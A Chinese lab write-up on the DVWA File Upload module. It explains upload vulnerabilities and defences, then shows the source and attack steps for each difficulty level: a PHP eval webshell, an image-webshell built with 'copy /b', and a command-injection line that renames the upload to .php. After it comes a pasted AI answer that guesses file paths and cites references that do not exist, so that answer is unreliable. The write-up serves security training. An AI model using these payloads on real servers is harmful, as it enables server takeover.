DVWA靶场系列(四)—— File Upload(文件上传)

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

漏洞原理

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

漏洞危害

上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。如果上传的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为。如果上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。

防御措施

1、文件上传的目录设置为不可执行。
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、判断文件类型。
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径。
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名。
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
5、使用安全设备防御。
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

靶场实战

Low难度

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

漏洞复现

接下来直接上传一句话木马1.php

<php@eval($_POST[‘cmd’]);?>

上传后显示:
在这里插入图片描述
将显示的路径与url进行拼接:

http://localhost/DVWA-master/vulnerabilities/upload/…/…/hackable/uploads/1.php

然后使用蚁剑进行连接爆破目录:
在这里插入图片描述可以看到服务器的盘符目录全都暴露了出来。

Medium难度

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

可以看到这里对上传的文件做了一个简单的前段验证,验证文件的后缀名是否为jpeg,png,同时对文件的大小做出了限制。

漏洞复现

对于上述验证,有多种绕过方法比如:%00截断、修改后缀等等以下是修改后缀
对此可以将low中上传的1.php文件改为1.png进行上传,然后用burpsuite进行抓包,修改后缀为php上传;
在这里插入图片描述
上传成功后拼接地址用蚁剑进行连接:
在这里插入图片描述

High难度

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

在这里插入图片描述
可以看到这里又添加了一个getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。这里读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

漏洞复现

其绕过方法就是使用copy制作一张图片马:

copy 11.jpg/b+1.php/a 11.jpg //b表示二进制文件、a表示ASCII码文件

在这里插入图片描述
将生成的11.jpg上传成功后,会发现蚁剑连接不成功,这是因为,图片里的php代码没有被解析,所以,这里需要用到文件包含漏洞去解析11.jpg,尝试多次之后并没有解析成功,这里采用的是通过命令注入这个漏洞来更改文件的后缀名:

127.0.0.1|move …/…/hackable/uploads/11.jpg …/…/hackable/uploads/11.php

在这里插入图片描述
这里是显示已经更改成功了,再尝试用蚁剑连接,即webshell注入成功。
在这里插入图片描述

Impossible难度

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在这里插入图片描述

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

又是朴实无华的一天!!!!!!!!!!!!

参考文章:http://t.csdn.cn/h46YP

<think>好的,用户的问题是关于DVWA靶场文件上传漏洞的前端文件路径。我需要先理解用户的具体需求是什么。DVWA(Damn Vulnerable Web Application)是一个用于安全测试的练习平台,用户可能在进行漏洞测试或学习时需要找到相关的文件路径,以便分析前端代码或进行调试。 首先,根据提供的引用资料,特别是引用[3]中的例子,用户访问file1.php时,路径显示为http://172.20.10.5/vulnerabilities/fi/?page=file1.php。这表明文件上传漏洞的模块可能位于vulnerabilities目录下的某个子目录中,比如fi可能对应文件包含漏洞,但用户问的是文件上传漏洞,可能需要确认正确的路径结构。 接下来,查看引用[1]和[4],它们提到DVWA文件上传漏洞处理逻辑,如服务器未对文件类型进行检查,导致可以上传恶意文件。通常,DVWA的不同漏洞类型有不同的路径,例如文件上传可能对应的是upload.php或其他类似文件。但用户需要的是前端文件的路径,也就是在服务器上存放这些前端页面的具体位置。 考虑到DVWA的安装结构,通常其前端文件位于服务器的web目录下,比如在Linux系统中可能是/var/www/html/dvwa/,而具体的漏洞模块可能位于子目录中,如vulnerabilities/upload/。需要确认具体的目录结构,例如: - 文件上传漏洞的前端页面可能位于dvwa/vulnerabilities/upload/index.php - 处理上传的PHP脚本可能在dvwa/vulnerabilities/upload/upload.php 另外,引用[4]提到上传后的提示路径,说明上传后的文件可能存储在服务器的一个特定目录,如dvwa/hackable/uploads/。用户可能需要知道这个上传目录的路径来检查上传的文件。 需要验证这些路径是否正确。例如,在DVWA中,文件上传漏洞的界面通常通过访问http://localhost/dvwa/vulnerabilities/upload/来进入,对应的服务器文件路径应为安装目录下的vulnerabilities/upload/中的文件。 此外,用户可能希望修改前端代码或查看前端验证逻辑,因此需要找到对应的前端文件。例如,前端验证可能通过JavaScript实现,位于dvwa/vulnerabilities/upload/目录下的某个.js文件或嵌入在HTML/PHP中。 总结可能的路径: 1. 前端页面:/dvwa/vulnerabilities/upload/index.php 2. 处理上传的脚本:/dvwa/vulnerabilities/upload/upload.php 3. 上传文件存储目录:/dvwa/hackable/uploads/ 需要提醒用户,实际路径可能因安装配置不同而有所变化,建议检查DVWA的配置文件或服务器目录结构。同时,修改这些文件需要权限,并注意安全风险。</think>在DVWA靶场中,文件上传漏洞的前端文件路径主要涉及以下关键位置: 1. **前端页面路径** - 文件上传功能的前端界面通常位于: $$/dvwa/vulnerabilities/upload/index.php$$ 该文件负责渲染上传表单界面,但实际漏洞可能存在于服务端验证逻辑中[^4]。 2. **文件上传处理脚本** - 上传请求由服务端脚本处理,路径可能为: $$/dvwa/vulnerabilities/upload/upload.php$$ 此脚本未对文件类型、内容进行有效过滤,导致漏洞存在[^1]。 3. **文件存储目录** - 成功上传的文件默认保存在: $$/dvwa/hackable/uploads/$$ 可通过前端提示的路径(如`http://.../hackable/uploads/文件名`)访问已上传文件[^4]。 --- ### 验证方法 1. **查看源码** 通过浏览器开发者工具检查表单的`action`属性,例如: ```html <form enctype="multipart/form-data" action="upload.php" method="POST"> ``` 可确认处理脚本为当前目录下的`upload.php`[^2]。 2. **服务器目录结构** DVWA标准安装中,漏洞模块统一存放在`vulnerabilities/`子目录下,例如: $$/var/www/html/dvwa/vulnerabilities/upload/$$ 包含前端页面、处理脚本和配置文件[^3]。 --- ### 注意事项 - **配置差异**:实际路径可能因安装方式(如XAMPP、Docker)不同而变化,建议通过`config.inc.php`确认根目录。 - **安全风险**:直接修改这些文件可能影响靶场稳定性,操作前建议备份[^1]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值